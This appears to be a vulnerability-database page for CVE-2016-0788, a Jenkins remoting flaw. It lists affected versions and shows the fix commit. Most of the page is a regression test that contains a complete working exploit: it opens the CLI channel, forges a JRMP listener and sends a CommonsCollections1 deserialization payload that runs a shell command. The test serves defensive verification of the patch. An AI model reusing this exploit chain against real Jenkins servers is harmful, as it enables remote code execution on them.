VYPR
Critical severity9.8NVD Advisory· Published Apr 7, 2016· Updated May 6, 2026

CVE-2016-0788

CVE-2016-0788

Description

The remoting module in Jenkins before 1.650 and LTS before 1.642.2 allows remote attackers to execute arbitrary code by opening a JRMP listener.

Affected packages

Versions sourced from the GitHub Security Advisory.

PackageAffected versionsPatched versions
org.jenkins-ci.main:jenkins-coreMaven
>= 1.643, < 1.6501.650
org.jenkins-ci.main:jenkins-coreMaven
< 1.642.21.642.2

Affected products

3
  • Jenkins/Jenkins2 versions
    cpe:2.3:a:jenkins:jenkins:*:*:*:*:*:*:*:*+ 1 more
    • cpe:2.3:a:jenkins:jenkins:*:*:*:*:*:*:*:*range: <=1.649
    • cpe:2.3:a:jenkins:jenkins:1.642.1:*:*:*:lts:*:*:*
  • cpe:2.3:a:redhat:openshift:3.1:*:*:*:enterprise:*:*:*

Patches

1
1ec232ca1c80

[FIXED SECURITY-232] Integrating Remoting build with blacklist.

https://github.com/jenkinsci/jenkinsJesse GlickFeb 3, 2016via ghsa
2 files changed · +257 1
  • pom.xml+1 1 modified
    @@ -176,7 +176,7 @@ THE SOFTWARE.
           <dependency>
             <groupId>org.jenkins-ci.main</groupId>
             <artifactId>remoting</artifactId>
    -        <version>2.53.2</version>
    +        <version>2.53.3-20160203.223637-1</version>
           </dependency>
     
           <dependency>
    
  • test/src/test/java/jenkins/security/Security232Test.java+256 0 added
    @@ -0,0 +1,256 @@
    +package jenkins.security;
    +
    +import hudson.remoting.Callable;
    +import hudson.remoting.Channel;
    +import hudson.remoting.Channel.Mode;
    +import hudson.remoting.ChannelBuilder;
    +import hudson.remoting.ClassFilter;
    +import hudson.remoting.JarLoader;
    +import java.io.DataOutputStream;
    +import java.io.File;
    +import java.io.IOException;
    +import java.io.ObjectOutputStream;
    +import java.io.OutputStream;
    +import java.lang.reflect.Constructor;
    +import java.lang.reflect.Field;
    +import java.lang.reflect.InvocationHandler;
    +import java.lang.reflect.Method;
    +import java.lang.reflect.Proxy;
    +import java.net.HttpURLConnection;
    +import java.net.InetSocketAddress;
    +import java.net.Socket;
    +import java.net.URL;
    +import java.net.URLClassLoader;
    +import java.rmi.activation.ActivationDesc;
    +import java.rmi.activation.ActivationID;
    +import java.rmi.activation.ActivationInstantiator;
    +import java.rmi.server.ObjID;
    +import java.rmi.server.RemoteObject;
    +import java.rmi.server.UnicastRemoteObject;
    +import java.util.concurrent.ExecutorService;
    +import java.util.concurrent.Executors;
    +import javax.net.SocketFactory;
    +import static jenkins.security.security218.Payload.CommonsCollections1;
    +import jenkins.security.security218.ysoserial.payloads.CommonsCollections1;
    +import jenkins.security.security218.ysoserial.payloads.ObjectPayload;
    +import static org.junit.Assert.*;
    +import org.junit.Rule;
    +import org.junit.Test;
    +import org.jvnet.hudson.test.Issue;
    +import org.jvnet.hudson.test.JenkinsRule;
    +import sun.reflect.ReflectionFactory;
    +import sun.rmi.server.ActivationGroupImpl;
    +import sun.rmi.server.UnicastRef2;
    +import sun.rmi.server.Util;
    +import sun.rmi.transport.LiveRef;
    +import sun.rmi.transport.TransportConstants;
    +import sun.rmi.transport.tcp.TCPEndpoint;
    +
    +/**
    + * @author mbechler, adapted for JUnit/JenkinsRule by jglick
    + */
    +@Issue("SECURITY-232")
    +public class Security232Test {
    +
    +    @Rule
    +    public JenkinsRule r = new JenkinsRule();
    +
    +    @Test
    +    public void commonsCollections1() throws Exception {
    +        File pwned = new File(r.jenkins.getRootDir(), "pwned");
    +
    +        int jrmpPort = 12345;
    +        URL u = r.getURL();
    +
    +        HttpURLConnection hc = (HttpURLConnection) u.openConnection();
    +        int clip = Integer.parseInt(hc.getHeaderField("X-Jenkins-CLI-Port"));
    +
    +        InetSocketAddress isa = new InetSocketAddress(u.getHost(), clip);
    +        Socket s = null;
    +        Channel c = null;
    +        try {
    +            System.err.println("* Opening socket " + isa);
    +            s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort());
    +            s.setKeepAlive(true);
    +            s.setTcpNoDelay(true);
    +
    +            System.err.println("* Opening channel");
    +            OutputStream outputStream = s.getOutputStream();
    +
    +            DataOutputStream dos = new DataOutputStream(outputStream);
    +
    +            dos.writeUTF("Protocol:CLI-connect");
    +
    +            ExecutorService cp = Executors.newCachedThreadPool();
    +            c = new ChannelBuilder("EXPLOIT", cp).withMode(Mode.BINARY).build(s.getInputStream(), outputStream);
    +
    +            System.err.println("* Channel open");
    +
    +            Class<?> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest");
    +
    +            Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
    +            reqCons.setAccessible(true);
    +
    +            Object getJarLoader = reqCons
    +                    .newInstance(1, Class.forName("hudson.remoting.IChannel").getMethod("getProperty", Object.class), new Object[] {
    +                        JarLoader.class.getName() + ".ours"
    +            });
    +
    +            Object call = c.call((Callable<Object,Exception>) getJarLoader);
    +            InvocationHandler remote = Proxy.getInvocationHandler(call);
    +            Class<?> rih = Class.forName("hudson.remoting.RemoteInvocationHandler");
    +            Field oidF = rih.getDeclaredField("oid");
    +            oidF.setAccessible(true);
    +            int oid = oidF.getInt(remote);
    +
    +            System.err.println("* JarLoader oid is " + oid);
    +
    +            Constructor<UnicastRemoteObject> uroC = UnicastRemoteObject.class.getDeclaredConstructor();
    +            uroC.setAccessible(true);
    +            ReflectionFactory rf = ReflectionFactory.getReflectionFactory();
    +            Constructor<?> sc = rf.newConstructorForSerialization(ActivationGroupImpl.class, uroC);
    +            sc.setAccessible(true);
    +            UnicastRemoteObject uro = (UnicastRemoteObject) sc.newInstance();
    +
    +            Field portF = UnicastRemoteObject.class.getDeclaredField("port");
    +            portF.setAccessible(true);
    +            portF.set(uro, jrmpPort);
    +            Field f = RemoteObject.class.getDeclaredField("ref");
    +            f.setAccessible(true);
    +            f.set(uro, new UnicastRef2(new LiveRef(new ObjID(2), new TCPEndpoint("localhost", 12345), true)));
    +
    +            Object o = reqCons
    +                    .newInstance(oid, JarLoader.class.getMethod("isPresentOnRemote", Class.forName("hudson.remoting.Checksum")), new Object[] {
    +                        uro,
    +            });
    +
    +            try {
    +                c.call((Callable<Object,Exception>) o);
    +            }
    +            catch ( Exception e ) {
    +                // [ActivationGroupImpl[UnicastServerRef [liveRef:
    +                // [endpoint:[172.16.20.11:12345](local),objID:[de39d9c:15269e6d8bf:-7fc1, -9046794842107247609]]
    +
    +                e.printStackTrace();
    +
    +                String msg = e.getMessage();
    +                int start = msg.indexOf("objID:[");
    +                if ( start < 0 ) {
    +                    return; // good, got blocked before we even got this far
    +                }
    +
    +                int sep = msg.indexOf(", ", start + 1);
    +
    +                if ( sep < 0 ) {
    +                    throw new Exception("Failed to get object id, separator");
    +                }
    +
    +                int end = msg.indexOf("]", sep + 1);
    +
    +                if ( end < 0 ) {
    +                    throw new Exception("Failed to get object id, separator");
    +                }
    +
    +                String uid = msg.substring(start + 7, sep);
    +                String objNum = msg.substring(sep + 2, end);
    +
    +                System.err.println("* UID is " + uid);
    +                System.err.println("* ObjNum is " + objNum);
    +
    +                String[] parts = uid.split(":");
    +
    +                long obj = Long.parseLong(objNum);
    +                int o1 = Integer.parseInt(parts[ 0 ], 16);
    +                long o2 = Long.parseLong(parts[ 1 ], 16);
    +                short o3 = Short.parseShort(parts[ 2 ], 16);
    +
    +                exploit(new InetSocketAddress(isa.getAddress(), jrmpPort), obj, o1, o2, o3, new CommonsCollections1(), "touch " + pwned);
    +            }
    +
    +            c.close();
    +        }
    +        finally {
    +            if ( s != null ) {
    +                s.close();
    +            }
    +        }
    +
    +        Thread.sleep(5000);
    +
    +        assertFalse("Pwned!", pwned.exists());
    +    }
    +
    +
    +    /**
    +     * @param inetSocketAddress
    +     * @param obj
    +     * @param o1
    +     * @param o2
    +     * @param o3
    +     * @throws IOException
    +     */
    +    private static void exploit ( InetSocketAddress isa, long obj, int o1, long o2, short o3, ObjectPayload payload, String payloadArg )
    +            throws Exception {
    +        Socket s = null;
    +        try {
    +            System.err.println("* Opening JRMP socket " + isa);
    +            s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort());
    +            s.setKeepAlive(true);
    +            s.setTcpNoDelay(true);
    +
    +            OutputStream os = s.getOutputStream();
    +            DataOutputStream dos = new DataOutputStream(os);
    +
    +            dos.writeInt(TransportConstants.Magic);
    +            dos.writeShort(TransportConstants.Version);
    +            dos.writeByte(TransportConstants.SingleOpProtocol);
    +
    +            dos.write(TransportConstants.Call);
    +
    +            final ObjectOutputStream objOut = new ObjectOutputStream(dos) {
    +
    +                protected void annotateClass ( Class<?> cl ) throws IOException {
    +                    if ( ! ( cl.getClassLoader() instanceof URLClassLoader ) ) {
    +                        writeObject(null);
    +                    }
    +                    else {
    +                        URL[] us = ( (URLClassLoader) cl.getClassLoader() ).getURLs();
    +                        String cb = "";
    +                        for ( URL u : us ) {
    +                            cb += u.toString();
    +                        }
    +                        writeObject(cb);
    +                    }
    +                }
    +
    +
    +                /**
    +                 * Serializes a location from which to load the specified class.
    +                 */
    +                protected void annotateProxyClass ( Class<?> cl ) throws IOException {
    +                    annotateClass(cl);
    +                }
    +            };
    +
    +            objOut.writeLong(obj);
    +            objOut.writeInt(o1);
    +            objOut.writeLong(o2);
    +            objOut.writeShort(o3);
    +
    +            objOut.writeInt(-1);
    +            objOut.writeLong(Util.computeMethodHash(ActivationInstantiator.class.getMethod("newInstance", ActivationID.class, ActivationDesc.class)));
    +
    +            System.err.println("Running " + payload + " against " + ClassFilter.class.getProtectionDomain().getCodeSource().getLocation());
    +            final Object object = payload.getObject(payloadArg);
    +            objOut.writeObject(object);
    +
    +            os.flush();
    +        }
    +        finally {
    +            if ( s != null ) {
    +                s.close();
    +            }
    +        }
    +    }
    +
    +}
    

Vulnerability mechanics

Generated by null/stub on May 9, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

6

News mentions

0

No linked articles in our index yet.